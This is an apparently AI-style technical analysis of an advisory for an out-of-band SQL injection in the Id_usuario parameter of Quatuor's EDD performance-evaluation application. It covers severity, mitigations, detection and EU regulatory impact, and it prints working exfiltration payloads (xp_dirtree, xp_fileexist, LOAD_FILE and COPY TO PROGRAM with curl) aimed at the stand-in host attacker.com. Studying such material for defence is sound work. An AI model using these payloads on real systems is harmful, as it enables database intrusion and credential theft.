Comprehensive Technical Analysis of EUVD-2026-4748 (CVE-2026-1476)

Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-4748 (CVE-2026-1476) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_usuario parameter of the /evaluacion_acciones_ver_auto.aspx endpoint, enabling attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.3 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low complexity; no specialized conditions required.
• Attack Requirements (AT:N): No user interaction or prior access needed.
• Privileges Required (PR:N): No authentication required.
• User Interaction (UI:N): No user interaction required.
• Confidentiality Impact (VC:H): High impact; sensitive data can be extracted.
• Integrity Impact (VI:H): High impact; potential for data manipulation.
• Availability Impact (VA:L): Low impact; limited disruption to service.
• Subsequent Confidentiality (SC:N): No further confidentiality impact.
• Subsequent Integrity (SI:N): No further integrity impact.
• Subsequent Availability (SA:N): No further availability impact.

Justification for Critical Severity:

• Unauthenticated remote exploitation with high confidentiality and integrity impact makes this a high-risk vulnerability.
• OOB SQLi is particularly dangerous because it bypasses traditional security controls (e.g., WAFs, input sanitization) by using DNS or HTTP exfiltration to extract data.
• The lack of user interaction and low attack complexity further elevate the risk.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

OOB SQLi exploits time-delayed or external network-based data exfiltration when direct responses are blocked or filtered. Attackers leverage database functions that initiate outbound connections (e.g., DNS lookups, HTTP requests) to transmit stolen data.

Step-by-Step Exploitation Process

1. Identify Vulnerable Parameter

   • The Id_usuario parameter in /evaluacion_acciones_ver_auto.aspx is susceptible to SQL injection.
   • Example malicious input:

     '; EXEC xp_dirtree '//attacker-controlled-server.com/exfil?data=' + (SELECT TOP 1 username FROM users) --
     

     (For Microsoft SQL Server; other DBMS use different functions.)

2. Data Exfiltration via External Channels

   • DNS Exfiltration (Most Common)

     • Attacker crafts a query that forces the database to perform a DNS lookup to an attacker-controlled domain.
     • Example (MySQL):

       SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share\\'));
       

     • The database attempts to resolve password123.attacker.com, leaking data in the subdomain.

   • HTTP Exfiltration

     • Forces the database to make an HTTP request to an attacker-controlled server.
     • Example (PostgreSQL):

       COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat - | base64)';
       

   • SMB/UNC Path Exfiltration (Windows)

     • Triggers an SMB request to an attacker-controlled server.
     • Example (MSSQL):

       EXEC xp_fileexist '\\attacker.com\share\' + (SELECT TOP 1 password FROM users);
       

3. Automated Exploitation Tools

   • SQLmap (with --dns-domain or --second-url flags)
   • Burp Suite (with OOB payloads)
   • Custom scripts (e.g., Python with scapy for DNS exfiltration)

Attack Scenarios

• Unauthenticated Data Theft: An attacker extracts user credentials, PII, or sensitive business data without prior access.
• Database Reconnaissance: Enumeration of tables, columns, and schema via OOB techniques.
• Secondary Attacks: Stolen credentials could lead to lateral movement, privilege escalation, or ransomware deployment.

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3. Affected Systems and Software Versions

Impacted Product

• Application: Evaluación de Desempeño (EDD) (Performance Evaluation System)
• Vendor: Gabinete Técnico de Programación (Quatuor)
• Affected Versions: All versions (as per ENISA ID)
• Deployment Context:
  • Likely used in public administration, HR, or corporate performance management within Spanish-speaking regions (given the vendor’s origin).
  • May be deployed in on-premise or cloud environments.

Underlying Technologies (Inferred)

• Web Server: Likely IIS (given .aspx extension).
• Database Backend: Microsoft SQL Server (common in enterprise .NET applications).
• Programming Language: ASP.NET (C#/VB.NET).

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4. Recommended Mitigation Strategies

Immediate Remediation

1. Input Validation & Parameterized Queries

   • Replace dynamic SQL with prepared statements (e.g., SqlCommand with parameters in .NET).
   • Example (C#):

     string query = "SELECT * FROM users WHERE Id_usuario = @Id_usuario";
     SqlCommand cmd = new SqlCommand(query, connection);
     cmd.Parameters.AddWithValue("@Id_usuario", userInput);
     

2. Disable Dangerous Database Functions

   • Restrict xp_cmdshell, xp_dirtree, OPENROWSET, LOAD_FILE, etc. in the database configuration.
   • Example (MSSQL):

     EXEC sp_configure 'show advanced options', 1;
     RECONFIGURE;
     EXEC sp_configure 'xp_cmdshell', 0;
     RECONFIGURE;
     

3. Network-Level Protections

   • Block outbound DNS/HTTP requests from the database server (except to trusted destinations).
   • Implement a Web Application Firewall (WAF) with OOB SQLi detection rules (e.g., ModSecurity with OWASP CRS).

4. Database Hardening

   • Least privilege principle: Restrict database user permissions.
   • Enable logging for suspicious queries (e.g., SELECT * FROM sys.dm_exec_sessions).

5. Patch Management

   • Apply vendor-provided patches immediately (if available).
   • Monitor INCIBE and CERT-EU for updates.

Long-Term Security Measures

1. Code Review & Secure Development

   • Conduct a full security audit of the EDD application.
   • Implement SAST/DAST tools (e.g., SonarQube, Burp Suite) to detect SQLi vulnerabilities.

2. Database Activity Monitoring (DAM)

   • Deploy DAM solutions (e.g., IBM Guardium, Imperva) to detect anomalous queries.

3. Zero Trust Architecture

   • Enforce micro-segmentation to limit lateral movement.
   • Implement MFA for database access.

4. Incident Response Planning

   • Develop a playbook for OOB SQLi attacks, including:
     • DNS/HTTP exfiltration detection (e.g., monitoring for unusual subdomains).
     • Forensic analysis of database logs.

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5. Impact on the European Cybersecurity Landscape

Sector-Specific Risks

• Public Administration & Critical Infrastructure

  • EDD is likely used in government HR systems, making it a high-value target for APT groups (e.g., Russian, Chinese, or Iranian state-sponsored actors).
  • GDPR Compliance Risk: Unauthorized data access could lead to heavy fines (up to 4% of global revenue).

• Corporate & Financial Sectors

  • If deployed in private enterprises, OOB SQLi could expose employee records, performance reviews, or salary data, leading to insider threats or corporate espionage.

Broader Implications

• Supply Chain Risks

  • Quatuor’s software may be integrated into larger ERP/HR systems, amplifying the attack surface.
  • Third-party vendors using EDD could unknowingly propagate the vulnerability.

• Regulatory & Compliance Impact

  • NIS2 Directive: Organizations in critical sectors (e.g., energy, healthcare) must report such vulnerabilities within 24 hours.
  • EU Cyber Resilience Act (CRA): Vendors must ensure secure-by-design principles; failure to patch could result in legal liability.

• Threat Actor Exploitation

  • Cybercriminals: May use OOB SQLi for data theft, ransomware deployment, or credential harvesting.
  • State-Sponsored Actors: Could leverage the flaw for espionage or disruptive attacks against EU institutions.

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6. Technical Details for Security Professionals

Proof-of-Concept (PoC) Exploitation

DNS Exfiltration (MSSQL Example)

1. Attacker-Controlled DNS Server
   • Set up a DNS listener (e.g., dnscat2, Wireshark).
   • Example payload:

     DECLARE @p varchar(1024);
     SELECT @p = (SELECT TOP 1 password FROM users);
     EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\share\"');
     

2. Data Extraction
   • The database attempts to resolve password123.attacker.com, leaking the password in the subdomain.

HTTP Exfiltration (PostgreSQL Example)

COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat - | base64)';

• The database sends the entire users table to the attacker’s server via HTTP.

Detection & Forensics

1. Database Log Analysis

   • Look for unusual outbound connections (e.g., xp_dirtree, OPENROWSET).
   • Example (MSSQL):

     SELECT * FROM sys.dm_exec_sessions
     WHERE program_name LIKE '%xp_%' OR program_name LIKE '%OPENROWSET%';
     

2. Network Traffic Monitoring

   • DNS Exfiltration: Monitor for unusual DNS queries (e.g., long subdomains, base64-encoded data).
   • HTTP Exfiltration: Inspect outbound HTTP requests from the database server.

3. Endpoint Detection & Response (EDR)

   • Use EDR solutions (e.g., CrowdStrike, SentinelOne) to detect unexpected child processes (e.g., curl, nslookup).

Defensive Tooling

Tool	Purpose
SQLmap	Automated OOB SQLi testing (--dns-domain, --second-url).
Burp Suite	Manual testing with OOB payloads (Collaborator).
Wireshark/tcpdump	Capture DNS/HTTP exfiltration attempts.
OSSEC/Snort	Network-based IDS for detecting OOB SQLi patterns.
Microsoft Defender for SQL	Detects anomalous queries in MSSQL.

Secure Coding Best Practices

• Use ORM Frameworks (e.g., Entity Framework, Dapper) to avoid raw SQL.
• Implement Input Whitelisting (e.g., regex validation for Id_usuario).
• Enable Query Logging for suspicious activity.
• Apply Principle of Least Privilege to database users.

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Conclusion

EUVD-2026-4748 (CVE-2026-1476) represents a critical OOB SQLi vulnerability with severe implications for confidentiality and integrity. Given its low attack complexity, unauthenticated exploitation, and high impact, organizations using Quatuor’s EDD application must immediately apply mitigations to prevent data breaches.

Key Takeaways for Security Teams: ✅ Patch or mitigate immediately (input validation, parameterized queries). ✅ Monitor for OOB exfiltration (DNS/HTTP traffic from the database). ✅ Conduct a full security audit of the EDD application. ✅ Ensure compliance with NIS2, GDPR, and CRA to avoid regulatory penalties.

Further Reading:

• INCIBE Advisory
• OWASP SQL Injection Prevention Cheat Sheet
• MITRE ATT&CK: Exfiltration Over Alternative Protocol (T1048)